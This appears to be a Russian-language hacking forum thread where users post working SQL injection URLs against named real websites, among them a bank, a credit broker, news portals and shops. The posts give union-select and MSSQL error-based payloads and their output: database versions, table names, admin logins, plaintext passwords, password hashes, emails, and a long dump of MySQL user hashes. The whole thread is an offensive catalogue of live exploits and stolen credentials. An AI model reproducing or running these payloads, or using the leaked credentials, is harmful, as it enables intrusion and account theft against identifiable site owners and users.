вот скулины - http://www.paragon.ge/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,CONCAT_WS(0x203A20,%20id,name,pass),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+na_users/* http://www.paragon.ge/index.php?id=-1+and+0+union+select+1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17,null,19,20,21,22,23,24,25,26,27,28,29,30,31+from+information_schema.tables+limit+26,1/* http://www.paragon.ge/index.php?id=-1+and+0+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x20,pass,name),11,12,13,14,15,16,17,null,19,20,21,22,23,24,25,26,27,28,29,30,31+from+na_users/*
Логин:пароль админа. Как его использовать ещё не нашёл http://www.diversity.ge/rus/news.php?id=130+and+0+union+select+1,2,3,4,5,concat_ws(0x3a,name,passwd),7,8+from+user+limit+0,1+--+ Доступна information_schema, mysql.user заблокирована.
<<Chris Hewlett - PR and Artist Management>> Code: http://www.chrishewlett.com/archive/detail.php?id=-55+union+select+1,2,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),4,5,6,7,8,9,0--+ 4.1.19-standard-log:chrishewlett:chrishewlett@localhost:unknown-freebsd6.0 Code: http://www.chrishewlett.com/admin/
Строительный портал Database Version: 4.1.22-log Database name: baza1_topsite User name: [email protected] Выводить из users
geomap.ru карты городов pr4 тиц100 Code: http://geomap.ru/payment?pid=3&cid=25+and+1=0+union+select+concat_ws(0x20,user(),database(),version(),@@basedir,@@datadir,@@tmpdir,@@version_compile_os),2+--+-- geomap_map@localhost geomap_map 5.0.26-lk-log /usr/ /var/lib/mysql/ /tmp pc-linux-gnu
DB Version: 5.0.75-community-log DB Name: hickmann_hickman DB User:hickmann_hweb@localhost Admin data: hickmanadmin:8dbdda48fb8748d6746f1965824e966a:[email protected] DB Version: 5.0.67-community-nt DB Name: mpmstaff DB User:mpmadmin@localhost Admin data: Development:nogo:[email protected]
[-_-] Закрытое Акционерное Общество Булгар Банк. Слепая скуля. Если выполняется то начинается закачивание .zip если нет то download.php ))) => 4ая ветка. Можно проверить существует ли таблица Code: Table 'bulgarbank.qwerty' doesn't exist Code: Access denied for user 'bulgarbank'@'localhost' to database 'mysql' Стоит админка CubiQue.Где у неё юзеры в базе или в конфиге хз,писал на мыло саппорту насчет админки они так и не ответили,ну и пох)))) Официальный сайт. Студенческий профком УлГУ Code: students@localhost:students:4.1.14
http://www.hayonstudio.com/project.php?id=4+and+substr(version(),1,1)=5/* http://www.shoplifted.co.uk/index.cfm?act=shop&process=full&id=453+and+substr(version(),1,1)=5/*
www.groundworkopensource.com Pr-6 PHP: http://www.groundworkopensource.com/products/poll-results.html?poll_id=6+union+select+1,concat_ws(0x3a,user(),user,password,host,file_priv),3+from+mysql.user--+&novote=1
Code: http://www.alsystems.com/newsletter.php?id=-11+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9 alsystem_alsyste@localhost:alsystem_alsys:5.0.67-community
http://www.press-conferences.ru/next.php?pid=1%20union%20select%20version()-- 4.0.21 - Давно меня небыло. Сорри инета нету!
<<Япония В России>> Code: http://japonia.ru/info/new_window.php?id=-313+union+select+1,2,3,4,concat_ws(0x2a3a2a,version(),database(),user(),@@version_compile_os),6,7,8,9--+ 4.1.25*:*japonia_content*:*japonia_content@localhost*:*portbld-freebsd6.3 Code: http://japonia.ru/admin/ ----------------------------------------- ---------------------------------------- MSSQL <<Yonsei Medical Journal>> Code: http://www.eymj.org/abstracts/subList.asp?year=1998'+or+1=@@version-- VERSION: Code: [Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Code: http://www.swmgamers.com/e107_plugins/userjournals_menu/userjournals.php?blog.-9999%20union%20all%20select%201,2,3,4,5,6,user_password,8,9,0,11,12,13%20from%20e107_user-- Version : 4.1.22-max-log OS : unknown-linux-gnu Code: 3302:9db50106284fbd34f22d89a835f6e024 - [COLOR=Red]rtx35b29[/COLOR] -------------------------------------------------+ Code: http://opengamestudio.org/Main/e107_plugins/userjournals_menu/userjournals.php?blog.-9999%20union%20all%20select%201,2,3,4,5,6,user_password,8,9,0,11,12,13%20from%20e107_user-- Version : 4.1.22-standard-log OS : unknown-linux-gnu Code: 0x21h:7536c300f434b5db60b39ce300ca1c7d
http://www.kadis.ru/ Правовой дайджест СМИ Санкт-Петербурга http://www.kadis.ru/daily/dayjust.phtml?id=-8233+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+information_schema.tables+limit+1,1-- Уже постилось два года назад ©Grey'eм, но на данный момент не работает. Так скажем обновил.
MSSQL <<KANBAN.Ru. Крупнейший каталог блогов, новостных лент и RSS>> Code: http://www.kanban.ru/catalog.asp?cat_id=315+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='tbl_users'+and+column_name+not+in+('id','kb_login','kb_password'))--&pg=7&search=&rss=37062 version: Code: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2) db: kanban user: kanban table: tbl_users -=admin=- id: 2 log: kanban pas: 345345 -=users=- +where+id=x)--
DB Version: 5.0.32-Debian_7etch8-log DB Name: everydaydish DB User:root@localhost MySQL Admin data: root:*B747F2732BA6B0C2DD69A76241F18DAF52CA3777:Y PR: 4 DB Version: 5.0.51a-community-log DB Name: myawol DB User:[email protected] Admin data: CaAbnK27!:B0e42b3e4f5c18529351c3b796740834 PR: 5 DB Version: 5.0.45-log DB Name: horizonq_psalive247 DB User:[email protected] PR: 5 DB Version: 5.0.67-community DB Name: sempe2_vids DB User:sempe2_vids@localhost PR: 4 DB Version: 5.0.45 DB Name: prosperityds_sou DB User:dbadmin@localhost Admin data: admin:dw123js:[email protected] PR: 3
MSSQL <<Новости спорта в Москве>> Code: http://news.mossport.ru/news_browse.asp?NewsID=64157+or+1=(select+top+1+column_name+from+information_schema.columns+where+table_name='tMKSInetUser'+and+column_name+not+in+('UserID','login','passw'))--&def=photo version: Code: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int db_name: casper user: cabi
Центральный Кредитный Брокер Code: credit:dima@localhost:4.1.22-log Code: root:0f37b8c20663dd87:localhost root:0f37b8c20663dd87:kuperru.p8.ru advlinkusr:25a634842c67e20b:localhost papashi:70f35bc522afc74a:localhost ruszoloto:10a93e0b1fc5ff49:localhost rostur:03c31080536e2f7a:localhost evashop:35a6c98772855ea9:localhost abgym:1328fbca58495dd0:localhost ru1016:5c9477846e8fe20a:localhost msoyuz:1ef8eb0e0827f4f7:localhost libria:27d688aa5d0b5067:localhost kosmet:78782e4a25ab6d9c:localhost kosmag:7458890f6fd5a6c7:localhost sexplus:7b6ac9c3700450e3:localhost booker:0600e0ac21807f5f:localhost job4:758eeb2f78c70c24:localhost rbcentre:446d92f83e20a9a6:localhost vazclub:293d8c900db2e58f:localhost russot:0a4688762cffcef4:localhost buketnadom:156962f23e671ab6:localhost dzin:15d21bfd07f90a6d:localhost dnems:3b9573700c18fa1e:localhost wifes:6861aa962980e103:localhost aulibria:2674bf023832ebe1:localhost 120x80:20820c7a45f232ce:localhost vipdomen:7c13eb121fd5eddd:localhost zadorno:7fa128d72a588c84:localhost esenins:2d9314cc0040a440:localhost rss:6d3fa9ea4883cb96:localhost zakazdomov:0fc5f17864358b31:localhost gorko:1ffbf1527e763ca8:localhost vkapuste:51e7f9672646d97d:localhost dcryazan:23a8690234b1774d:localhost firmadom:56c4b37b5f389a61:localhost rugamer:4a010f8776e4d23a:localhost kosmetichka:78782e4a25ab6d9c:localhost dima:607cfba06eaba913:localhost tvoyamarka:7c670c7c7fd6d97d:localhost kondik:3c1dfac67da11880:localhost sexoid:08508c4844b53a06:localhost green-oasis:191b51e07cbc7934:localhost vrach:25e9c4df061e8cad:localhost lida_knr:1965de0327674786:localhost grafdrakula:558e0e7f0dd6e145:localhost levi-tan:7e86267744ee4105:localhost stroibrus:5bfc7ac8160679fe:localhost automachine:7e792ee544b5dd2d:localhost r-stal:1197c223668d177c:localhost loghomes:2168a40041809c6e:localhost brevnostroi:339e2629156e950d:localhost zakazstroi:1de17450744874f0:localhost lasve_gas:4ba0d91c0c39ef16:localhost konteiner:5c3d2e491ddff8b4:localhost stroibytovka:38b5cf5b7cb808c0:localhost stirzn:4fd0e32543a0ee26:localhost karkasvagon:20922eba2cb6293e:localhost konteinervdom:0250beba2f4d1d96:localhost bytovkivagony:5962821f013a33c5:localhost opalybkauser:0431556956247446:localhost user_bytovochki:0748d1ac3cdcf260:localhost user_bytbesvag:672bbc9960d68984:localhost creditusr:46b793d659ac7d90:localhost dima:7c13eb121fd5eddd:% naru_media:7d8a71bb18b88e40:localhost kos:183d59c965b1dbf6:localhost user_9617868:491fa31d455927a6:localhost user_cemresurs:2a9537817aee5af4:localhost proday:695622a53ad9313c:localhost prodaysite:4a1d45750e545a97:localhost doska:6295939073048998:localhost kancdocka:0a3b28ce682474ab:localhost sanworld:25e0005a73b61f6a:80.93.58.162 sanworld:25e0005a73b61f6a:% san:25e0005a73b61f6a:% admin:7ce0005638d47fe4:localhost user_context:2926805d74bba885:localhost seo:35b987d10814c728:localhost ckstrans_usr:059f539559940b66:localhost climb:3d12c90045a33b75:localhost utopzvezd:287e6fdc207f1ee6:localhost usr_sexoid:1b1fc68814d75c83:localhost libria_usr_new:11e37d6b519c1c36:localhost tourusrlink:252b184465f74bfb:localhost limoprof_usr:33efd99b1f910cf4:localhost gorko-sladko:607cfba06eaba913:localhost ucinti:1f106aff0dc411ea:localhost umirlesa:2c1a40870240f4ee:localhost gulattakgulat:304188b4040c35fe:%
<<Спецтехимпекс - Реализация конверсионной спецтехники>> Code: http://www.tehimpex.kiev.ua/topics.php?id=-21+union+select+table_name+from+information_schema.columns+where+column_name+like+0x70617373776f7264--+ 5.0.45-log*:*tehimpex_db*:*tehimpex_root@localhost*:*portbld-freebsd6.2 table: login log: mythical pass: mistake
Электронное издательство Директмедиа Паблишинг Database Version: 4.1.22 Database name: directmedia User name: directm@localhost Login: qwe Pass: 76d80224611fc919a5d54f0ff9fba446 : qwe Database Version: 5.0.67-community Database name: rboard_top User name: rboard_twisted@localhost
